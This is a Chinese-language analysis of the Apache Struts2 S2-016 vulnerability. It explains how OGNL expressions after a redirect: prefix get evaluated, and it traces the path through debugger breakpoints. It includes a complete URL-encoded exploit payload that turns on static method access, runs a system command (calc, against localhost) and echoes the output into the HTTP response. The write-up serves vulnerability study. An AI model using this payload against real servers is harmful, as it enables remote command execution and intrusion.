S2-016
简述
在struts2中,DefaultActionMapper类支持以action:、redirect:、redirectAction:作为重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用Java静态方法执行任意系统命令。
Payload
http://localhost:8080/s2_016_war_exploded/index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%22calc%22%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read%28%23d%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%23d%29%2C%23genxor.flush%28%29%2C%23genxor.close%28%29%7D
调试
关注两点,第一是redirect:<ognl>是如何被处理的;第二,payload是如何被解析的。
首先在DefaultActionMapper类中处理redirect:处下个断点
在初始过滤器FilterDispatcher类的dofilter()函数下个断点,它负责拦截所有的用户请求
doFilter先进行创建值栈、上下文、包装request等一些初始化操作,然后进入getMapping()方法,通过uri解析对应的action配置信息,例如namespace、actionname、method。跟进getMapping()
parseNameAndNamespace()方法根据uri和配置文件中的namespace进行对比来判namespace。
hadleSpecialParameters()方法顾名思义是处理某些特殊参数。跟入hadleSpecialParameters()
首先获取到request中所有参数名,遍历看是否有以.x和.y结尾的参数名,prefixTrie.get(key)判断参数名是否都是有效字符。
再跟入parameterAction.execute(),可以看到redirect.setLocation()方法将redirect:后面的内容设置为了location。
到这里第一个问题知道了,就是redirect:后面的ognl表达式进入了location参数。
再看看这个location什么时候被解析。回到doFilter(),继续往下进入serviceAction()
先获取Configuration对象,通过Configuration得到容器对象,再从容器中获取ActionProxyFactory工厂类创建ActionProxy动态代理。
mapping.getResult()不为null,根据Result配置创建出相应的Result对象,然后执行Result的execute方法。跟入execute()
到了熟悉的conditionalParse()方法,该函数用于处理跳转地址location,会判断location是否有ognl表达式,有的话将会执行表达式。一直跟入translateVariables(),到stack.findValue()触发执行ognl表达式。
Reference
https://cwiki.apache.org/confluence/display/WW/S2-016